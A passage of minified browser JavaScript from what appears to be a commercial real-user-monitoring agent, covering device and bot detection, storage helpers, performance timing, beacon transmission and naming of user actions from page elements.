g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substring(0, 4))}function W(){return"1"===navigator.doNotTrack||"yes"===navigator.doNotTrack||"1"===navigator.msDoNotTrack||"1"===mb.doNotTrack}function la(){return/(gomezagent|googlebot|adsbot-google|mediapartners-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|sogou|exabot|facebot|facebookexternalhit|ia_archiver)/i.test(navigator.userAgent)}function ua(a){return z&&db(a,13)&&"navigation"!==a.entryType||db(a,["_dtCl"])}function Ka(a){return T&&db(a,14)||db(a,["entryType","requestStart"])&&"navigation"=== a.entryType}function Hb(a){var b;if(!a)return null;var d=null===(b=a.getEntriesByType)||void 0===b?void 0:b.call(a,"navigation")[0];Ka(d)||(d=a.timing);return d}function ib(a,b){void 0===b&&(b=!1);if(!a)return null;for(var d,f=qa(a),l=0,r=ub;l<r.length;l++)if(d=aa(a,r[l],b)||-1,0<d&&d!==f)return Math.round(d);return null}function aa(a,b,d){void 0===d&&(d=!1);var f=Hb(a);if(!f)return null;b=f[b];if("number"!==typeof b||0===b)return null;a=qa(a);Ka(f)?d&&(b+=a):d||(b-=a);return Math.round(b)}function qa(a){var b; return Math.round(a.timeOrigin||(null===(b=a.timing)||void 0===b?void 0:b.navigationStart)||-1)}function V(){return Mb}function pa(){return Kb}function Va(){return de}function nb(){return Be}function lb(){return ge}function jb(){return Nd}function Ab(a,b){a?a.id===a.ta()&&(Aj=a):Aj=b?null:Aj}function gc(a){return a?nn?nn.call(a):a.replace(/^\s+|\s+$/g,""):""}function Vb(a){try{var b=a.tagUrn;return b&&-1!==yc(b,"schemas-microsoft-com:vml")}catch(d){return!0}}function Ha(a){if(!a||-1===a.indexOf("://"))return""; a=a.split("/")[2].split(":")[0].toLowerCase();a:{var b=0;for(var d=co;b<d.length;b++)if(0<=a.indexOf(d[b])){b=!0;break a}b=!1}return b?"":a}function yb(a){var b=0;if(a)for(var d=a.length,f=0;f<d;f++)b=31*b+a.charCodeAt(f),b&=b;return b}function vb(a,b,d){hj(ca,[a,b,d])}function ca(a,b,d){try{mb.sessionStorage.setItem(a,String(b))}catch(f){d||lf(a,String(b),void 0,hc("ssc"))}}function Oa(a,b,d){void 0===d&&(d=!0);var f=!0;try{mb.localStorage[a]=b}catch(l){f=!1,d&&lf(a,b,void 0,hc("ssc"))}return f} function Za(a,b){try{return mb.sessionStorage[a]||""}catch(d){}return b?"":ng(a)}function I(a){var b=[];if(a)for(var d=0;d<a.length;d++){var f=a.charAt(d),l=Qm[f];l?Ob(b,l):Ob(b,f)}return b.join("")}function ka(a){if(!a)return"";for(var b="",d=0;d<a.length;d++){var f=on[a.charAt(d)+a.charAt(d+1)];f?(b+=f,d++):b+=a.charAt(d)}return b}function Ba(a){return a?ka(a).replace(/_5F/g,"_").replace(/_25/g,"%").replace(/_7C/g,"|"):""}function $a(a){if(!a)return"";a=a.replace(/_/g,"_5F").replace(/%/g,"_25").replace(/\|/g, "_7C");return I(a)}function Cb(a){var b=[],d="";"string"===typeof a?d=a:"object"===typeof a&&a&&(d=a.toString());a=Xc("spc")+"\t\n\r";for(var f=0;f<d.length;f++){var l=d.charAt(f);-1===yc(a,l)&&Ob(b,l)}return b.join("")}function bd(){var a=mb.location;if(a){a=a.href;var b=yc(a,"#");0<=b&&(a=a.substring(0,b));return a}return"-"}function Qb(a,b){a=Math.round(a);(b||de)&&0<a&&lf("dtLatC",String(a),void 0,hc("ssc"));return a}function Zb(a,b,d,f,l){return q(a,b,d,f,!1,l)}function q(a,b,d,f,l,r){void 0=== r&&(r="win");try{var G=Ph[r]||{};G[b]=a[b];Ph[r]=G;Object.defineProperty(a,b,{get:d||function(){return G[b]},set:function(ea){G[b]=ea;f&&(ea||l)&&f.apply(a,[ea])},configurable:!0});return!0}catch(ea){}return!1}function D(a,b,d,f){if((f=f||a[b])&&Object.defineProperty&&(!p.ie||8<p.ie)){var l=d||"win";try{delete a[b]&&(a[b]=f,Ph[l]&&(Ph[l][b]=null))}catch(r){try{Object.defineProperty(a,b,{get:function(){return Ph[l]&&Ph[l][b]},configurable:!0})}catch(G){}}}}function t(a){lf("dtUseDebugAgent",a,void 0, hc("ssc"))}function y(a){lf("dt_dbg_console",a,void 0,hc("ssc"))}function Y(a){void 0===a&&(a="TRACE");lf("dt_dbg_logfilter","level=".concat(a,"|featureHash=|fileName="),void 0,hc("ssc"))}function x(a){var b=a.match(/:([0-9]+)/);return b?b[1]:0===yc(a,"https")?"443":"80"}function oa(a){if(!a)return!1;a=gc(a).toLowerCase();0===a.indexOf("//")&&(a=location.protocol+a);var b=0===yc(location.href,"http");if(0!==yc(a,"http")||!b)return!1;if(yc(location.href,location.host)!==yc(a,location.host.toLowerCase()))return!0; b=location.port||x(location.href);return x(a)!==b}function R(a){try{var b=document.createElement("a");b.href=a;return b.cloneNode(!0).href}catch(d){return a}}function O(){try{return p.ie||p.edge?encodeURI(mb.location.href):mb.location.href}catch(a){}return""}function wa(a){if(!a)return"";try{var b=void 0,d=R(a);if(!mb.location)return d;var f=mb.location,l=f.origin;if(!l){if(!f.protocol||!f.host)return d;l=f.protocol+"//"+f.host}var r=b=d.substring(0,l.length+1).toLowerCase()===(l+"/").toLowerCase()? d.substring(l.length):d}catch(G){r=a,0===yc(a,"?")&&(r=mb.location.pathname+a)}return Ga(r,500)}function Ga(a,b,d,f){void 0===b&&(b=100);void 0===d&&(d=!1);void 0===f&&(f="...");return!a||a.length<=b?a:d?f+a.substring(Math.max(0,a.length-b+f.length)):a.substring(0,Math.max(0,b-f.length))+f}function Wa(a){var b=Tc("sl");return Ga(a,b)}function Eb(a,b,d){return a.apply(b,d||[])}function Lb(a,b,d,f){if(d)if(d=Ga(d,Tc("mhl")),a[f].set){var l=a[f].set(b,d);l&&l.get&&l.get(b)===d&&(a[f]=l)}else a[f][b]= d}function Nb(a){return Object.getPrototypeOf?Object.getPrototypeOf(a):Object.__proto__===Object.prototype&&Array.__proto__===Array.prototype?a.__proto__:a.constructor?a.constructor.prototype:void 0}function ac(a){return Ra(a,"prototype")?a.prototype:Nb(a)}function rc(a){return a?a.split("?")[0]:""}function mc(){var a=qi();if(a){var b=yc(a,"-");a=-1===b?"":a.substring(0,b);if(a){b="";for(var d=0;d+1<a.length;d+=2)b+=String(a.charCodeAt(d)+a.charCodeAt(d+1));a=Math.floor(Math.abs(1E7*Math.sin(parseInt(b, 10))))}else a=0}else a=!1;return a}function Oc(){var a=Ii();return 3===a?!0:4===a?!1:!!Tc("rdnt")&&W()}function Kc(a,b,d){if(!a||!b)return[];for(var f=[],l=0;l<a.length;l+=b){if(l+b<=a.length){var r=a.slice(l,l+b);"%"===r.charAt(r.length-1)&&a.length>=l+b+1&&(r+=a.charAt(l+b),r+=a.charAt(l+b+1),l+=2);"%"===r.charAt(r.length-2)&&a.length>=l+b+2&&(r+=a.charAt(l+b),l+=1)}else r=a.slice(l);f.push(r)}if(d)for(a=f.length,b=0;b<a;b++)f[b]=d.replace(/#index#/,String(b+1)).replace(/#total#/,String(a))+f[b]; return f}function gd(a){return Array.prototype.slice.call(a)}function ma(a){return!1===a?0:"number"===typeof a?2:1}function Ca(a,b){void 0===b&&(b=Tc("rtu"));if(!a)return"";var d=Tc("rtp");if(!d||a.length>b&&2===d)a=rc(a);var f=$a(a);if(f.length>b){d=$a(Ha(a));a=a.split("/");a=a[a.length-1];var l=$a(a);if(l!==d){if(f=d+"/../"+l,b=f.length-b,0<b)if(l.length>b){b=Math.max(l.length-(b+2),0);f=Math.max(a.length-b,0);for(l=$a(a.substring(f,a.length));l.length>b;)f+=Math.ceil((l.length-b)/3),l=$a(a.substring(f, a.length));f=d+"/../.."+l}else f=Ga(d,b,!1,".../")+l}else f=Ga(f,b,!0)}return f}function Ra(a,b){return Object.prototype.hasOwnProperty.call(a,b)}function Sa(a,b){void 0===b&&(b=qa(mb.performance));var d=1E3*Tc("oat");return b+d>=a?a:-2}function Db(){return C().disabled&&!Z(C())}function Yb(){Z(C())||(vb("dtDisabled",!0),C().disabled=!0)}function Na(a,b){return hk(a,b)||oe(a)||""}function oc(a){if(Object.keys)return Object.keys(a);var b=[];if(a===Object(a))for(var d in a)Ra(a,d)&&b.push(d);return b} function rb(a,b){a=Bj[a];-1<mf(a,b)||Ob(a,b)}function wb(a,b){a=Bj[a];b=mf(a,b);-1!==b&&eb(a,b)}function pc(a){for(var b=[],d=0,f=Bj[a.kind].slice();d<f.length;d++){var l=(0,f[d])(a);l&&(Ue(l,0)?b=b.concat(l):Ob(b,l))}return b}function Sc(){var a=gk,b=gb();a!==b&&rb("DEBUG_INFO_REQUESTED",function(){return{type:"miav",severity:"Warning",text:"Snippet version(".concat(a,") does not match the version of the monitoring code(").concat(b,"). Consider updating your code snippet for best compatibility.")}}); rb("DEBUG_INFO_REQUESTED",function(){return{type:"v",severity:"Info",text:"Snippet version: ".concat(a," ; Monitoring code:").concat(gb())}})}function ed(){for(var a=Ze.oa.length-1;0<=a;a--){var b=Ze.oa[a];if(b.$b()&&!b.ma||b.ma&&b.We())return b}return null}function $b(a){return Ze.actions[a]}function Ac(a,b,d,f,l,r){void 0===l&&(l=!1);void 0===r&&(r=!1);if(l)Nc(a,b,d,f,r);else{try{for(l=0;l<a.length;l++)b.call(d,a[l],l,a,function(){})}catch(ea){var G=ea}if(f)G?f.call(d,a,G):f.call(d,a);else if(G)throw G; }}function Ic(a,b,d,f,l){void 0===f&&(f=!1);void 0===l&&(l=!1);return new ra(function(r,G){Ac(a,b,d,function(ea,ya){ya?G(ya):r(ea)},f,l)})}function Nc(a,b,d,f,l){function r(Tb){pb=Tb;qd(function(){G(Tb,ya)})}function G(Tb,Hc){if(!zb){try{4>b.length&&ob++;var zc=b.call(d,Hc[Tb],Tb,Hc,function(){function Pc(Dh){pb=Dh;qd(function(){G(Dh,ya)})}ob++;ob===Hc.length&&ea();for(var Ke=pb+1;Ke<Hc.length;Ke++)Pc(Ke)})}catch(Pc){var Ad=Pc;zc=!1}Tb=function(Pc){pb=Pc;qd(function(){G(Pc,ya)})};for(var Zd=pb+1;Zd< Hc.length;Zd++)Tb(Zd);(!1===zc||Ad)&&ea(Ad);ob!==Hc.length||zb||ea()}}function ea(Tb){f&&!zb&&(f.apply(d,Tb?[ya,Tb]:[ya]),zb=!0)}void 0===l&&(l=!1);var ya=l?a:Array.prototype.slice.call(a),ob=0,zb=!1,pb=0;for(a=0;a<ya.length;a++)r(a);ob===ya.length&&qd(ea)}function qd(a){om||(om=!0,Zc(function(){om=!1;var b=ul;ul=[];for(var d=kc(),f=0;f<b.length&&35>kc()-d;)b[f](),f++;for(d=f;d<b.length;d++)qd(b[d])},0));ul.push(a)}function ad(a,b){if(ta(Array.prototype.filter))return Array.prototype.filter.call(a, b);for(var d=[],f=0;f<a.length;f++){var l=a[f];b(l,f,a)&&d.push(l)}return d}function dc(a,b,d,f){void 0===f&&(f=!1);return d?new ra(function(l,r){var G=[];Ac(a,function(ea,ya){b(ea,ya,a)&&G.push(ea)},null,function(ea,ya){ya?r(G):l(G)},d,f)}):ra.resolve(ad(a,b))}function Lc(){return vl}function jd(a){a=I(a);-1===mf(pm,a)&&Ob(pm,a)}function bc(a){return-1!==mf(pm,a)}function ic(){var a=C();try{for(var b=n;b&&b!=mb;){var d=b.dT_;if(d&&"ea"in d&&d.version===gb())return d.tdto();d&&"ea"in d&&(Ji[d.version]= 1);b=b!==b.parent?b.parent:void 0}}catch(f){}return a}function Pd(){return!Ki}function af(a,b,d,f){b=ad(oc(Ji),Se);Cj.push.apply(Cj,b);0<b.length&&(b.unshift(gb()),a.av(f,"afv",b.join(",")));Ji={}}function Se(a){return 0>mf(Cj,a)}function Qd(){Ji={};try{if(n&&n!=mb){var a=n.dT_;if(a){var b=a.version;b===gb()?(Wg=a,Ki=Wg.tdto()):Ji[b]=1}}}catch(d){}Qe(af);a=C();Ki?(vl=Ki.pageId,a.Jd=Ki.Jd,Vl=Wg.gFId(),Wg.hi++):(vl=bg(),a.Jd=U());a.pageId=vl;rb("DEBUG_INFO_REQUESTED",function(){ic();var d=oc(Ji);return 0=== d.length?null:{severity:"Error",text:"Version of current agent ".concat(gb()," mismatches with version").concat(1<d.length?"s":""," ").concat(d.join(", ")," of parent frames. Make sure to use the same version on all frames to secure compatibility!"),type:"mpv"}})}function ke(){var a=ic();if(a===C()||!a.gITAID)return Wl++;a=a.gITAID();Wl=a+1;return a}function Wc(a){return a.id}function Te(){return!ed()}function Bd(a){return(a=$b(a))&&a.Ma?a:null}function Rd(a){return(a="number"===typeof a?Bd(a):a)? a.La():""}function Xe(a,b,d){var f=Nd;d&&(f=$b(d));if(!f)return!1;f.Ne(a,b);return!0}function ye(){var a=og(!0);if(0<a.length){for(var b=[],d=0;d<a.length;d++){var f=a[d];f.frameId!==bg()&&Ob(b,f)}ij(b)}}function zd(a){if(!a)return"";var b=bg()+"h"+a,d=document.cookie,f=hk("dtPC",d);return hc("dASXH")&&f&&0<=yc(f,b)&&!Q()?"":Li()+"$"+bg()+"h"+a+"v"+qi(d)+"e0"}function ze(a){for(var b=nh.length-1;0<=b;b--)if(nh[b]===a){eb(nh,b);break}}function ne(a){if(0<Dj||a&&0<nh.length)if(a=nh.length,0<a)return nh[a- 1];return 0}function vd(a){return a&&1===a.length?-1!==yc(Xc("featureHash"),a):!1}function He(a,b,d,f){void 0===f&&(f=ve(a));var l=mb.dT_,r=Z(C());b=b||!r;a=r&&-1===yc(l.iMod(),a);return b&&d&&(f||a)}function ve(a){var b=mb.dT_;if(b.ism(a)&&-1===yc(b.iMod(),a))return b.iMod(a),!0;b.ism(a)&&(a='Module "'+a+'" already enabled!',Qh()&&mb.console.log("WARNING: "+a));return!1}function u(a){var b=Pf.initializedModules||"";a&&(b+=a);return Pf.initializedModules=b}function E(a,b){void 0===b&&(b=gb());var d= Xc("agentUri");d=d.substring(0,d.lastIndexOf("/"));var f=Xc("csu");"true"===ng("dtUseDebugAgent")&&mb.dT_debugger&&0>f.indexOf("dbg")&&(f=Xc("debugName")||f+"dbg");return"".concat(d,"/").concat(f,"_").concat(a,"_").concat(b,".js")}function N(a){return Pf[a]}function ha(a,b){Pf[a]=String(b)}function sa(a,b,d){if(ta(Array.prototype.reduce))return Array.prototype.reduce.call(a,b,d);var f="undefined"!==typeof d;d=f?d:a[0];if("undefined"===typeof d)throw new TypeError("Reduce of empty array with no initial value"); for(f=f?0:1;f<a.length;f++)d=b(d,a[f],f,a);return d}function Ia(a,b,d,f){var l=ef()+Math.round(d.startTime),r=l-a;l>=a&&l<=b&&0<=r&&(null==f.Ia||r<f.Eb)&&(f.Ia=d,f.Eb=r)}function bb(a,b,d){return sa(a,function(f,l){Ia(b,d,l,f);return f},{Ia:null,Eb:Number.MAX_VALUE}).Ia}function cb(a,b){return ad(a,function(d){return d.initiatorType===b})}function Fb(a,b,d,f){try{if(!(a&&performance&&performance.getEntriesByName))return null;var l=R(a);0===yc(l,"/")?l=location.protocol+"//"+location.host+l:0!==yc(l, "http")&&(l=location.href.substring(0,location.href.lastIndexOf("/")+1)+l);var r=performance.getEntriesByName(l);b&&(r=cb(r,b));if(r.length)return d?bb(r,d,f||Number.MAX_VALUE):r[r.length-1];r=performance.getEntriesByType("resource");b&&(r=cb(r,b));-1===l.indexOf("?")&&(l+="?");for(var G={Ia:null,Eb:Number.MAX_VALUE},ea=r.length-1;0<=ea;ea--){var ya=r[ea];if(0===ya.name.lastIndexOf(l,0))if(d)Ia(d,f||Number.MAX_VALUE,ya,G);else return ya}return G.Ia}catch(ob){return null}}function Ib(a){try{var b= Fb(a,"xmlhttprequest");if(ua(b)){var d=(b.requestStart-(b.redirectEnd||b.startTime))/2;0<d&&Qb(d);return!0}}catch(f){}return!1}function fc(a,b,d,f){function l(){}function r(){}var G=a.path,ea=a.Ka,ya=a.async,ob=kc();f&&(r=function(zb){return function(pb){if(Eh)for(var Tb=0,Hc=Eh();Tb<Hc.length;Tb++)(0,Hc[Tb])(b,"success",pb);Tb=kc()-zb;Ib(G)||Qb(Tb/2);Tb=pb&&pb.split("|");for(Hc=1;Hc<Tb.length;Hc++){var zc=Tb[Hc].split("=");if("dtCookie"===zc[0]||"sn"===zc[0]){if(zc=decodeURIComponent(zc[1]),Mi(zc)){jj(zc); try{mb.sessionStorage&&mb.sessionStorage.removeItem("dtCookie")}catch(kj){}}}else if("name"===zc[0]){zc=void 0;var Ad=pb;if(mb.localStorage)try{var Zd=Cd(),Pc=mb.localStorage.getItem(Zd),Ke=Xc("cuc"),Dh=0;if(Pc){var Ve=cg(Pc),Qf=Ni(Ve.config||"",Ve);Ve.name&&(Qf.csu=Ve.name);Dh=$d(Qf.lastModification||"0")}var ri=cg(Ad),sf=Ni(ri.config||"");if(!Ke||!sf.cuc||Ke===sf.cuc){sf.csu=ri.name||Xc("csu");var ff=$d(sf.lastModification||"0");ff>Dh&&(mb.localStorage.setItem(Zd,Ad),wl(sf),Ej(sf,!0),Nk(sf),Fj(sf), ff>(Pf.lastModification||0)&&(Pf=Xl(sf),pc((zc={},zc.kind="CONFIG_UPDATE",zc.detail=Pf,zc))))}}catch(kj){}}else"enabled"===zc[0]&&"false"===zc[1]&&Yb()}}}(ob),l=function(zb){if(Eh)for(var pb=0,Tb=Eh();pb<Tb.length;pb++)(0,Tb[pb])(b,"fail",zb);qm++;if(p.sf||p.msf){if(oh.length)for(zb=kc(),pb=0;pb<oh.length;pb++)oh[pb].time<zb&&oh.splice(pb--);Ob(oh,{path:G,data:ea,time:kc()})}if(!se)try{if(mb.localStorage){var Hc=Cd();mb.localStorage.removeItem(Hc)}}catch(zc){}});if("onreadystatechange"in d){if(d.onreadystatechange= Ec(b,r,l,a),ya&&"timeout"in d&&"ontimeout"in d&&(a=Tc("xt")))d.timeout=a,d.ontimeout=ld(a)}else d.timeout=Tc("xt"),d.onload=function(){r(this.responseText)},d.onprogress=function(){},d.ontimeout=function(){}}function Ec(a,b,d,f){return function(){var l=f.vc,r=f.wc;if(4===this.readyState)try{if(200===this.status)b(this.responseText);else if(429===this.status){for(var G=0,ea=ge;G<ea.length;G++)ea[G].Db();Yb();d(this.status,this.responseText)}else d(this.status,this.responseText)}catch(ya){d(0)}if(a)try{a.ef(this.readyState, this.status,l,r)}catch(ya){}}}function ld(){return function(){try{this.abort()}catch(a){}}}function fd(a,b){void 0===b&&(b=!0);for(var d=a.path,f=a.Ka,l=a.Fa,r=a.async,G=a.beacon,ea=a.Ge,ya=3,ob=!1;0<ya;)try{var zb=void 0,pb=hc("cors");if(pb){var Tb=Gj();var Hc="withCredentials"in Tb?Tb:mb.XDomainRequest?new mb.XDomainRequest:null}else Hc=Gj();zb=Hc;if(!zb)return!1;"onreadystatechange"in zb?zb.open("POST",d,r):zb.open("POST",d);"setRequestHeader"in zb&&(zb.setRequestHeader("Content-Type",ea?"application/octet-stream": "text/plain;charset=UTF-8"),l&&l!==O()&&!pb&&zb.setRequestHeader("x-dtreferer",Ga(l,Tc("mhl"))));G&&fc(a,G,zb,b);zb.send(f);ya=0;ob=!0}catch(zc){ya--}return ob}function hd(a){return La({path:"",Fa:"",Ka:"",vc:0,wc:1,async:!1},a)}function od(a,b){var d=!1;a.xc&&(d=!we(a.path,a.Ka));if(!a.xc||d)a=fd(a,!0),b=b&&a;return b}function we(a,b){try{var d=navigator.sendBeacon(a,b||"")}catch(f){d="Error sending signal via sendBeacon: "+f+": "+a}d||++qm;return d}function ce(a,b){void 0===b&&(b=!1);var d=["i".concat(a.id), "k".concat(a.kind),"h".concat(Number(a.hydrated))];b&&d.push("t".concat(Number(a.trigger)));return d.join(";")}function Xd(a){if(a)for(var b=mh("LABEL"),d=ph(b),f=0;f<d;f++){var l=b[f];if(l&&"LABEL"===l.nodeName&&l.htmlFor===a)return Hd(l.innerText,l.textContent)}return""}function Hd(){for(var a=[],b=0;b<arguments.length;b++)a[b]=arguments[b];for(b=0;b<a.length;b++){var d=a[b];if("string"===typeof d&&(d=gc(d)))return d}return""}function xf(a){if(a){if(0===yc(a,"data:"))return"";a=a.split("/");if(0< a.length)return a[a.length-1].split(".")[0]}return""}function Of(a){if(a&&a.split){var b=a.split("/");if(0<b.length&&(b=gc(b[b.length-1]),null!==b))return b}return a||""}function Dg(a){return Pa(a)?a.innerText||a.textContent:a.textContent}function jh(a,b){var d=b.nodeName?b.nodeName.toUpperCase():"unknown",f=za(b)?b.getAttribute("type"):"";f="string"===typeof f?f.toUpperCase():"";var l="";switch(a){case 0:za(b)?(d="",ab(b)&&"HIDDEN"!==f&&(d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f&&"IMAGE"!==f? null:b.value,a=Xd(b.id),d=!f||"BUTTON"!==f&&"SUBMIT"!==f&&"RESET"!==f?Hd(a,d):Hd(d,a)),d||(d=Hd(Dg(b))),l=d):l="";break;case 1:d="";if(ab(b)&&"HIDDEN"!==f||b&&"BUTTON"===b.nodeName)f="IMAGE"===f?b.getAttribute("alt"):null,d=Hd(b.name,b.title,f);l=d;break;case 3:za(b)?(b=b.className,l=db(b,["baseVal","animVal"])?b.baseVal||b.animVal||"":b):l="";break;case 4:b="";"INPUT"===d&&"HIDDEN"!==f?b="INPUT: "+f:"A"===d?b="LINK":"-"===si&&(si=b=d);l=b;break;case 2:d="",ab(b)&&"IMAGE"===f?d=xf(b.src):b&&"A"=== b.nodeName?d=Hd(b.title,Of(b.href)):b&&"IMG"===b.nodeName?d=Hd(b.name,b.title,b.alt,xf(b.src)):b&&"FORM"===b.nodeName&&(d=Hd(b.name,b.id,b.action)),d||(d=Hd(b.title,b.data,b.wholeText,b.id)),l=d}return l}function pf(a){if(!a)return"";try{if(p.ie&&Vb(a))return"VML Node";var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return si;for(b=0;4>=b;b++){var d=jh(b,a);if(d&&d!==si)return d}return pf(a.parentNode)}catch(f){}return""}function Vf(a,b){if(!b)return""; var d=ph(b);if(0>=d||20<xl)return"";for(var f=0;f<d;f++){var l=b[f];if(p.ie&&Vb(l))return"VML Node";var r;xl++;if(r=Vf(a,l.childNodes))return r;xl--;if(r=jh(a,l))return r}return""}function Bb(a){try{var b=a.nodeName?a.nodeName.toUpperCase():"unknown";if("HTML"===b||"BODY"===b||"HEAD"===b||"#DOCUMENT"===b)return"Page: "+rm;if(a&&"SELECT"===a.nodeName){var d=a.nodeName?a.nodeName.toUpperCase():null,f=Xd(a.id),l=Hd(f,a.name,d),r=null;if(!a.multiple){var G=a.options&&-1<a.selectedIndex?a.options[a.selectedIndex]: null;G&&(r=Hd(G.label,G.innerText,G.textContent))}return r?"["+l+"] to value ["+r+"]":l}if(a&&"TEXTAREA"===a.nodeName){var ea=a.nodeName?a.nodeName.toUpperCase():null,ya=Xd(a.id);return Hd(ya,a.name,ea)||a.nodeName}var ob=Hd(Dg(a));if(ob)return ob;xl=0;if(a.childNodes&&0<ph(a.childNodes)){a:{for(l=0;4>=l;l++){var zb=Vf(l,[a]);if(zb){r=zb;break a}}r=""}return r}}catch(pb){}return pf(a)}function tg(){Rm=Xc("uana").split(",");pn=Tc("uanpi")||0}function J(){return Hf}function B(a){3===a&&(Xg=[]);Hf=a} function K(){return ae}function Fa(a){var b=ad(lj,function(d){return d.timestamp<=a});return b[b.length-1]||null}function Ya(a){Ue(a,0)?Xg.push.apply(Xg,a):Xg.push(a)}function tb(a){var b=zf;try{for(;b;){var d;if(d=a.target&&"string"!==typeof a.target&&a.target!==b.target&&"string"!==typeof b.target)a:{try{for(var f=a.target.parentNode;f;){if(f===b.target){d=!0;break a}f=f.parentNode}}catch(l){}d=!1}d&&(a=b);b=b.next}}catch(l){}zf=a}function Sb(a){var b,d=a.Cg,f=a.url,l=a.title,r=a.view;return b= {id:a.id,target:a.target,name:"",type:a.type,next:void 0,ob:void 0,info:a.kf||"-",start:kc(),Sb:!1,Sd:kc()+(d||30),url:f||O(),title:l||U(),aa:""},b.view=r,b.Ob=function(){if(!this.name){if(hc("uam"))var G={aa:"dTMasked_"+(Pa(this.target)?this.target.nodeName:"")};else{var ea=this.target||"";si="-";if(p.ie&&Vb(ea))G={aa:"VML Node"};else if("string"===typeof ea)G={aa:ea};else if(za(ea)){G=Bb(ea)||si;a:{try{for(var ya=0;ya<=pn;ya++){for(var ob=0,zb=Rm;ob<zb.length;ob++){var pb=ea.getAttribute(zb[ob]); if(pb){var Tb=pb;break a}}if(ea.parentElement)ea=ea.parentElement;else break}}catch(Hc){}Tb=""}G={aa:G,Lb:Tb}}else G={aa:si}}G.aa=Wa(Cb(G.aa));G.Lb=Wa(Cb(G.Lb));this.name=G.Lb||G.aa;G.Lb&&(this.aa=G.aa)}return this.name},b.oi=function(){return this.Sb},b.vg=function(){var G=this;do G.Sb=!0,G=G.next;while(G)},b}function Ub(a,b,d,f,l,r,G){void 0===G&&(G=ae);if(Yc(dg))return dg.bi(a,b,d,f,l,r,G);var ea=Sb({id:sm++,target:a,type:b,kf:d,Cg:f,url:l,title:r,view:G});try{return ik&&(ea.next=zf,ea.next&&(ea.next.ob= ea),tb(ea)),ea}finally{Zc(function(){dd(ea)},ea.Sd-kc())}}function Pb(){return Yc(dg)?dg.gci():zf}function cc(){return Yc(dg)?dg.gpi():Rh}function lc(a,b){if(Yc(dg))return dg.cii(a,b);b=b?cc():Pb();if(!b)return eo[a];switch(a){case "name":return b.Ob();case "type":return b.type;case "validUntil":return b.Sd;case "start":return b.start;case "target":return b.target;case "url":return b.url;case "title":return b.title;default:return null}}function $c(a){return lc(a,!0)}function Vd(a,b){return{timeout:a, url:lc("url",b),name:lc("name",b),startTime:lc("start",b),type:lc("type",b)||"-",title:lc("title",b)}}function yd(){for(var a=zf;a;)a.target=void 0,a=a.next;zf=void 0}function dd(a){if(Yc(dg))dg.ei(a);else if(zf){for(var b=zf;b.next&&b!==a;)b=b.next;b===a&&(lc("name")&&(Rh=zf),b.target=void 0,b.ob&&(b.ob.next=b.next),b.next&&(b.next.ob=b.ob),b===zf&&(zf=b.next))}}function ie(a){void 0===a&&(a="");return a?-1!==mf(Xc("doNotDetect")?Xc("doNotDetect").split(","):[],a):!1}function Kd(a,b,d){if(!ie(d)){var f= b?b:a;yl[a]=function(l){var r,G;pc((r={},r.kind="GLOBAL_EVENT_FIRED",r.detail=(G={},G.t=a,G.e=l,G),r));r=hc("ote");G=hc("ase");var ea="boolean"!==typeof l.isTrusted||l.isTrusted,ya=l.isRuxitSynthetic;if(G?ya:!r||ea){(r=l.target||l.currentTarget||l.srcElement||null)&&r.shadowRoot&&l.composed&&l.bubbles&&"function"===typeof l.composedPath&&(G=l.composedPath())&&G.length&&(r=G[0]);a:{G=r;if(("KD"===f||"KU"===f)&&ab(G)&&"password"!==G.type)if(l=l.keyCode||l.charCode||l.code,G=Number(l),hc("uam")&&!isNaN(G)){if(G= String.fromCharCode(G),!("a"<=G&&"z">=G||"A"<=G&&"Z">=G||"0"<=G&&"9">=G)){l=String(l);break a}}else{l=String(l);break a}l=""}Ub(r,f+l,void 0,30)}};If(document,a,yl[a])}}function Ne(a){(ik=a)||yd()}function Yc(a){return!!a&&a!==C()}function Ce(a){qn=a}function ig(a,b){var d;if(b<=qn)return!1;b=null===(d=Nd)||void 0===d?void 0:d.tb();d=!!b&&a===b.name;b=Aj;if(!b)return!d;a=a===b.name&&(!b.J||3E3>=kc()-b.start);return!d&&!a}function xc(a,b){if(!hc("dsa")||0!==yc(a,"false")){var d=hc("dssv"),f=hc("dsss"), l=f&&!d,r=d&&!f,G=!d&&!f,ea=b?a+"|"+b:a;f&&d&&vb("dtSa",ea);l&&(vb("dtSa",a),lf("dtSa",Hg(b||"-"),void 0,hc("ssc")));r&&(vb("dtSa",b||"-"),lf("dtSa",Hg(a),void 0,hc("ssc")));G&&lf("dtSa",Hg(ea),void 0,hc("ssc"))}}function Ld(){var a=Le[0];if(a){a.stop=0;var b=a;for(var d=0;d<a.subActions.length;d++)b=a.subActions[d],b.stop=0}return b}function Oe(a,b,d,f,l,r){void 0===a&&(a=kc());var 